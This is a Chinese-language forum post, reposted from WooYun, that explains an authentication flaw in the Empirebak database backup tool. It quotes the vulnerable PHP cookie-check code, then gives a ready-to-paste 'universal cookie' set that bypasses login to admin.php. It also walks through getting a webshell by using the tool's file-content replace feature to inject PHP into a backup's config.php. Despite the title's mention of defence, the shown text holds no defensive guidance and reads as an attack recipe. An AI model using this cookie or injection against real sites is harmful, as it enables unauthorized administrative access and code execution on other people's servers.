帝国备份王(Empirebak)万能cookie及拿shell方法与防御

江山多娇美如画 發表於 2015-9-14 23:14:48

帝国备份王(Empirebak)万能cookie及拿shell方法与防御

转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591 1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456) 登录成功设置4个cookie,看代码 
<div class="codeText">
<div class="codeHead">PHP Code复制内容到剪贴板</div>
<div id="code_9132">
<ol class="dp-c">
<li class="alt">function login($lusername,$lpassword,$key,$lifetime=0){     </li>
<li>global $set_username,$set_password,$set_loginauth,$set_loginkey;     </li>
<li class="alt">if(emptyempty($lusername)||emptyempty($lpassword)) {      </li>
<li>printerror("EmptyLoginUser","index.php");      </li>
<li class="alt">}     </li>
<li>//验证码     </li>
<li class="alt">if(!$set_loginkey)     </li>
<li>{     </li>
<li class="alt">if($key<>getcvar('checkkey')||emptyempty($key))     </li>
<li>{     </li>
<li class="alt">printerror("FailLoginKey","index.php");     </li>
<li>}     </li>
<li class="alt">}     </li>
<li>if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)     </li>
<li class="alt">{     </li>
<li>printerror("ErrorUser","index.php");     </li>
<li class="alt">}     </li>
<li>//认证码     </li>
<li class="alt">if($set_loginauth&$set_loginauth!=$_POST['loginauth'])     </li>
<li>{     </li>
<li class="alt">printerror("ErrorLoginAuth","index.php");     </li>
<li>}     </li>
<li class="alt">$logintime=time();     </li>
<li>$rnd=make_password(12);//生成随机字符     </li>
<li class="alt">$s1=esetcookie("bakusername",$lusername,0);     </li>
<li>$s2=esetcookie("bakrnd",$rnd,0);//随机字符     </li>
<li class="alt">$s3=esetcookie("baklogintime",$logintime,0);     </li>
<li>Ebak_SCookieRnd($lusername,$rnd);//     </li>
<li class="alt">if(!$s1||!$s2)     </li>
<li>{     </li>
<li class="alt">printerror("NotOpenCookie","index.php");     </li>
<li>}     </li>
<li class="alt">printerror("LoginSuccess","admin.php");     </li>
<li>}   </li>
</ol>
</div>
</div>






再看看make_password函数 
<div class="codeText">
<div class="codeHead">PHP Code复制内容到剪贴板</div>
<div id="code_8236">
<ol class="dp-c">
<li class="alt">function make_password($pw_length){     </li>
<li>$low_ascii_bound=50;     </li>
<li class="alt">$upper_ascii_bound=122;     </li>
<li>$notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);     </li>
<li class="alt">while($i<$pw_length)     </li>
<li>{     </li>
<li class="alt">mt_srand((double)microtime()*1000000);     </li>
<li>$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);     </li>
<li class="alt">if(!in_array($randnum,$notuse))     </li>
<li>{     </li>
<li class="alt">$password1=$password1.chr($randnum);     </li>
<li>$i++;     </li>
<li class="alt">}     </li>
<li>}     </li>
<li class="alt">return $password1;     </li>
<li>}   </li>
</ol>
</div>
</div>
这个函数只是生成随机数,再看看Ebak_SCookieRnd函数 
<div class="codeText">
<div class="codeHead">PHP Code复制内容到剪贴板</div>
<div id="code_3838">
<ol class="dp-c">
<li class="alt">function Ebak_SCookieRnd($username,$rnd){     </li>
<li>global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码     </li>
<li class="alt">$ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了     </li>
<li>esetcookie("loginebakckpass",$ckpass,0);     </li>
<li class="alt">}   </li>
</ol>
</div>
</div>
下面给出万能cookie(key:value): 
<div class="codeText">
<div class="codeHead">XML/HTML Code复制内容到剪贴板</div>
<div id="code_1183">
<ol class="dp-xml">
<li class="alt">ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6     </li>
<li>ebak_bakrnd:35y5cCnnA4Kh     </li>
<li class="alt">ebak_bakusername:admin     </li>
<li>ebak_baklogintime:4070883661   </li>
</ol>
</div>
</div>
使用以上cookie即可直接访问admin.php 2.拿shell 后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库 备份数据,随便找个数据库备份, 然后到替换目录文件内容里,选择刚才备份的数据库, 将”$b_table=” 替换成 “phpinfo(); $b_table=” <img alt="" src="https://img.jbzj.com/file_images/article/201509/20150914231931.png" /> 这里shell的路径就是bdata/mysql_20141007221849/config.php <img alt="" src="https://img.jbzj.com/file_images/article/201509/20150914231932.png" />

頁: [1]

琼殿技术论坛's Archiver

帝国备份王(Empirebak)万能cookie及拿shell方法与防御